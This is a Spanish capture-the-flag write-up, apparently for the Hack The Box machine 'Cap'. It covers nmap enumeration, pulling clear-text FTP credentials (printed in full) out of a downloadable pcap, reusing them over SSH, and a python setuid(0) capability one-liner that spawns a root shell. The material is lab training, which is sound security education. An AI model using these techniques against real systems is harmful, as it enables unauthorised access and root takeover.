Enumeracion
- Analizamos los puertos con nmap
sudo nmap -sS -p- -Pn -n --min-rate 5000 --open 10.10.10.245 -oG allPorts
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
- ahora hacemos un analisis de las versiones y ejecutamos algunos scripts de recolección de información
sudo nmap -sVC -p21,22,80 -n -Pn --min-rate 5000 10.10.10.245 -oN Targeted
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http gunicorn
-
Vamos a enumerar información del servicio web
- Tenemos un panel de busqueda que no parece ser vulnerable a sqli
- tenemos una pagina donde podemos descargar los ultimos 5 segundos de trafico en la web
- podemos ver el resultado de la ejecucion de un
ifconfig
- podemos ver el resultado de un
netstat
- Tenemos un panel de busqueda que no parece ser vulnerable a sqli
-
me llama la atención el archivo que podemos descargar ya que parece ser que nos permite ver analisis anteriores
-
vamos a intentar descargar el archivo
0
y lo abriremos con tcpdumptcpdump -r 0.pcap -A
analizando los paquetes podemos ver que se capturo la tramitacion para una conexion via ftp por lo cual podemos ver los credenciales en texto claro
nathan:Buck3tH4TF0RM3!
Explotacion
-
Ahora que tenemos credenciales supuestamente validos para ftp vamos a intentar conectarnos a la ma
ftp nathan@10.10.10.245
-
esto me hace pensar que puede que tambien sean credeciales validas para ssh, y asi es
ssh nathan@10.10.10.245
hacemos un
export TERM=xterm
para poder hacerctrl+l
-
Vamos a enumerar la maquina para ver posibles vias de privilege Escalation, y nos damos cuenta que el ejecutable de python tiene un capabilitie que nos permite cambiar nuestro UID por lo que usando python podemos cambiar nuestra UID y ejecutar un comando como ese usuario, (https://gtfobins.github.io/gtfobins/python/#capabilities)
getcap -r / 2>/dev/null
y ahora
python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
-
ya somos root